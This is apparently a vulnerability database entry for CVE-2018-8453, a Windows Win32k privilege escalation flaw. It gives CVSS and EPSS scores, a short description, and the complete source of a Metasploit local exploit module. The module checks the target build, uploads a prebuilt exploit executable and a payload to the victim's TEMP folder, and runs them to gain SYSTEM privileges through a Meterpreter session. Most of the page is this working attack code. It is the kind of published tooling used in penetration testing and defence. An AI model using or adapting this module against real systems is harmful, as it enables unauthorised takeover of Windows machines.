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HistoryJul 09, 2019 - 12:15 p.m.

Windows NtUserSetWindowFNID Win32k User Callback

2019-07-0912:15:13
ze0r, Kaspersky Lab, Jacob Robles
www.rapid7.com
36

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.2 High

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

0.934 High

EPSS

Percentile

99.0%

An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory, aka “Win32k Elevation of Privilege Vulnerability.” This affects Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows Server 2019, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2, Windows 10, Windows 10 Servers. This module is tested against Windows 10 v1703 x86.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ManualRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows NtUserSetWindowFNID Win32k User Callback',
        'Description' => %q{
          An elevation of privilege vulnerability exists in Windows when the Win32k component
          fails to properly handle objects in memory, aka "Win32k Elevation of Privilege Vulnerability."
          This affects Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows
          Server 2019, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2,
          Windows 10, Windows 10 Servers.
          This module is tested against Windows 10 v1703 x86.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'ze0r', # Exploit analysis and PoC
          'Kaspersky Lab',  # Vulnerability discovery/detection
          'Jacob Robles'    # Metasploit module
        ],
        'Platform' => 'win',
        'Arch' => ARCH_X86,
        'SessionTypes' => [ 'meterpreter' ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Targets' => [
          [
            'Windows 10 v1703 (Build 15063) x86', {
              'UniqueProcessIdOffset' => 180,
              'TokenOffset' => 252,
              'Version' => Msf::WindowsVersion::Win10_1703
            }
          ]
        ],
        'References' => [
          ['CVE', '2018-8453'],
          ['URL', 'https://github.com/ze0r/cve-2018-8453-exp'],
          ['URL', 'https://mp.weixin.qq.com/s/ogKCo-Jp8vc7otXyu6fTig'],
          ['URL', 'https://mp.weixin.qq.com/s/dcbUeegM0BqErtDufOXfoQ'],
          ['URL', 'https://securelist.com/cve-2018-8453-used-in-targeted-attacks/88151/'],
          ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8453']
        ],
        'Notes' => {
          'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],
          'Stability' => [CRASH_OS_RESTARTS]
        },
        'DisclosureDate' => '2018-10-09',
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_getenv
              stdapi_sys_process_execute
            ]
          }
        }
      )
    )
  end

  def target_info
    fail_with(Failure::None, 'Session is already elevated') if is_system?

    version = get_version_info
    unless version.build_number == target['Version'] && sysinfo['Architecture'] == 'x86'
      fail_with(Failure::NoTarget, 'Target is not compatible with exploit')
    end
  end

  def write_file_to_target(fname, data)
    tempdir = session.sys.config.getenv('TEMP')
    file_loc = "#{tempdir}\\#{fname}"
    vprint_warning("Attempting to write #{fname} to #{tempdir}")
    write_file(file_loc, data)
    vprint_good("#{fname} written")
    file_loc
  rescue Rex::Post::Meterpreter::RequestError => e
    elog('Unable to write file to target', error: e)
    fail_with(Failure::Unknown, "Writing #{fname} to disk was unsuccessful")
  end

  def exploit
    target_info
    exe_name = 'CVE-2018-8453.exe'
    exe_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-8453', exe_name)
    vprint_status("Reading payload from file #{exe_path}")
    raw = File.read(exe_path)

    tmp_exe = "#{Rex::Text.rand_text_alphanumeric(10)}.exe"
    vprint_status("Uploading exploit exe as: #{tmp_exe}")
    exe_rpath = write_file_to_target(tmp_exe, raw)
    register_file_for_cleanup(exe_rpath)

    tmp_payload = "#{Rex::Text.rand_text_alpha(6..14)}.exe"
    payload_rpath = write_file_to_target(tmp_payload, generate_payload_exe)
    vprint_status("Uploading payload #{tmp_payload}")
    register_file_for_cleanup(payload_rpath)

    command = "\"#{exe_rpath}\" \"#{payload_rpath}\" #{target['UniqueProcessIdOffset']} #{target['TokenOffset']}"

    vprint_status("Executing command: #{command}")
    session.sys.process.execute(command, nil, { 'Hidden' => false })
    print_good('Exploit finished, wait for privileged payload execution to complete.')
  end
end

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.2 High

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

0.934 High

EPSS

Percentile

99.0%